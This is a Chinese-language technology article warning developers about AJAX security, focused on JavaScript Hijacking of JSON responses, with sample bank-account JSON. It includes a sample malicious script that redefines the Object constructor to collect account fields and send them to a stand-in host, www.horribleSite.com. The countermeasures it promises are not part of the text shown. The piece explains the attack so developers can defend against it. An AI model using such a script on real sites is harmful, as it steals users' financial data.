技术开发 频道

让你的AJAX应用程序远离安全威胁



    【IT168 专稿】在过去的几个月中,包括Fortify软件和WhiteHat在内的几个互联网安全公司一直在对AJAX技术的安全问题大声疾呼。Fortify软件称,AJAX技术存在“普遍性的严重安全缺陷”。由于AJAX技术正在被广泛的应用,我们作为技术人员,在将AJAX技术应用到我们的新的或现有的应用程序中之前,必须了解这些安全问题。

     毫无疑问,AJAX技术已经广为人们所接受,这种技术给用户带来了如此酷的体验,让人爱不释手。对开发者来说,它开发的应用程序无需客户端安装什么程序,非常易于实施,它的典型应用程序就是Google Maps,用过的朋友一定对其有深刻的印象。富互联网应用程序必将变成企业应用程序的标准之一,因此,了解如何避免AJAX中的安全漏洞变得比任何时候都更加重要。

    了解什么是JavaScript Hijacking(劫持)

    许多网站都引入了Web 2.0的概念,大量使用AJAX和JSON技术,通过非同步加载数据的方式,提供互动功能,这些加载的数据就是JavaScript Hijacking的目标。

    采用了AJAX技术的应用程序通常借助于JavaScript来在客户端和服务器端进行数据传送。而对于那些并没有设计成使用JavaScript来进行机密信息传送的浏览器来说,这种传输方法暴露了Web浏览器的安全缺陷。

    目前很多Web浏览器强制执行同源策略(same origin policy),它认为来自任何站点加载的信赖内容是不安全的。如果没有同源策略,从一个站点的JavaScript可以访问其他站点上的信息,诸如你的登录信息、你的按键记录、你的银行帐号等等。举个例子来说,同源策略可以防止来自http://www.hijack.com的JavaScript使用来自http://www.chase.com上的对象。但是,尽管如此,同源策略中存在一个漏洞,会允许一个站点包含并执行另一个站点上的JavaScript。这个漏洞是人们使用AJAX的时候面临的一个主要安全缺陷。

    让我们通过一个例子来看一下这个漏洞是如何被利用的。将数据从服务器端传递给使用AJAX的客户端的一种常见方法是JSON(JavaScript Object Notation)。JSON的语法是JavaScript语言的一个子集。

    JSON的符号如下所示。

    [{"accountName":"Checking","accountNumber": "12324234-4", "accountBalance" : "78.99"},
    {"accountName": "Savings", "accountNumber": "23456567-1", "accountBalance" : "34566.56"},
    {"accountName":"Overdraft","accountNumber": "34566234-1", "accountBalance" : "98764.99"}]

    当客户端浏览器解析以上JSON架构的时候,另一个恶意网页可以通过重新定义一个创建新对象的函数来看到这种分解。这个恶意代码可以从这个对象中提取出安全信息,并把它传递给恶意站点。

    以下是恶意代码的一个例子。

<script>
function Object() {
this.accountNumber = extractSecData();
}

function extractSecData(x) {
var secData = "";
for (fld in this) {
secData += fld + ": " + this[fld] + ", "
}
secData += "accountNumber: " + x;
var req = new XMLHttpRequest();
req.open("GET", "www.horribleSite.com?secData=" + escape(secData),true);
req.send(null);
}
</script>

    有好几种方法可以让你来加固自己的应用程序的安全。
0
相关文章